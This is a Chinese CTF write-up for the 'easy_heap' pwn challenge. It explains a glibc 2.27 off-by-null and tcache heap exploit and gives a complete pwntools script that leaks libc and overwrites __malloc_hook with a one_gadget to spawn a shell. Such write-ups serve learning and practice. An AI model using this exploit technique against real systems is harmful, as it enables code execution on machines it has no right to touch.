easy_heap

easy_heap 

题目保护全开,在malloc的时候存在null-by-one漏洞,由于分配的堆块的大小都是0x100(加堆头),所以null-by-one漏洞只会覆盖下个堆块的prev_inuse标志位为0。一般的利用思路是通过伪造prev_size的大小来构造overlap-chunk为所欲为,但是这种思路在这道题目里行不通,因为malloc在读取内容的时候‘\0’会截断而且堆块大小是0x100。 由于题目给的库是libc2.27,引入了tcache机制,tcache在分配完其中的7个堆块后如果再次分配,它会先从unsortedbin中把和要分配的堆块大小相同的堆块全部以单链表形式链入tcache的链表里然后再分配出来,如果unsortedbin中有三个及以上符合大小的堆块,当并入tcache时,你会发现中间的堆块其fd->bk以及bk->fd仍然指向它自身,利用点就是在这里,题目中恰好设置了堆块为0x100对齐,所以分配出来的堆块内容如果什么都不输那么它的“\0”终止符不会影响fd指针,在将中间的堆块重新malloc出来利用nullbyone漏洞修改下个堆块的previnuse位为0,然后填满tcache后free掉下个堆块,那么他就会和前面的堆块合并形成overlap-chunk,接下来泄漏libc地址,修改malloc_hook为one_gadget就能getshell了。 思路来自hitcon划水时的发现~

/**************************another one*****************************/

libc2.27->tcache
只能malloc(0xF8)
可以先填满对应的tcache bin获得unsorted bin
审错了他的read过程,看成了

      if ( a2 - 1 < (unsigned int)v3 || !a1[v3] || a1[v3] == '\n' )

        ++v3;

        break;

以为会连续生成两个"\x00",没法bypass,(fd和bk只有末位是"\x00"),卡了好久
晚上回来重新看发现看错了orz
剩下就是利用off by one覆盖prev in use,使两个堆块发生合并,然后便可以有两个索引指向同一个chunk
而后进行tcache的double free,使chunk分配到malloc hook,写入one_gadget,再malloc一次即可getshell

from pwn import *
import sys
def new(size,note):
  p.recvuntil("?\n> ")
  p.sendline("1")
  p.recvuntil("size \n> ")
  p.sendline(str(size))
  p.recvuntil("content \n> ")
  if size==0:
    return
  else:
     p.send(note)
def delete(index):
  p.recvuntil("> ")
  p.sendline("2")
  p.recvuntil("index \n> ")
  p.sendline(str(index))
context.log_level='debug'
#p=remote("118.25.150.134",6666)
p=process("./easy_heap")
for i in range(10):
   new(0,"kirin\n")
#make unsorted bin
for i in range(5):
  delete(9-i)#9 8 7 6 5
delete(3)
delete(1)
delete(2)
delete(0)
delete(4)
for i in range(7):
    new(0,"kirin\n")
new(0,"kirin\n")
new(0xf8,"\x00")
new(0,"kirin\n")
for i in range(6):
  delete(i+1)
delete(9)
delete(0)
#leak
p.recvuntil("?\n> ")
p.sendline("3")
p.recvuntil("index \n> ")
p.sendline("8")
s=p.recv(6)
libc_addr=u64(s.ljust(8,"\x00"))-0x3ebca0
print "libc_addr="+hex(libc_addr)
for i in range(8):
  new(0,"kirin\n")
delete(8)
delete(9)
new(0x10,p64(libc_addr+0x3ebc30))
new(0x10,"kirin\n")
for i in range(8):
   delete(i)
for i in range(8):
   new(0x10,p64(libc_addr+0x10a38c))
delete(0)
p.recvuntil("> ")
p.sendline("1")
p.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值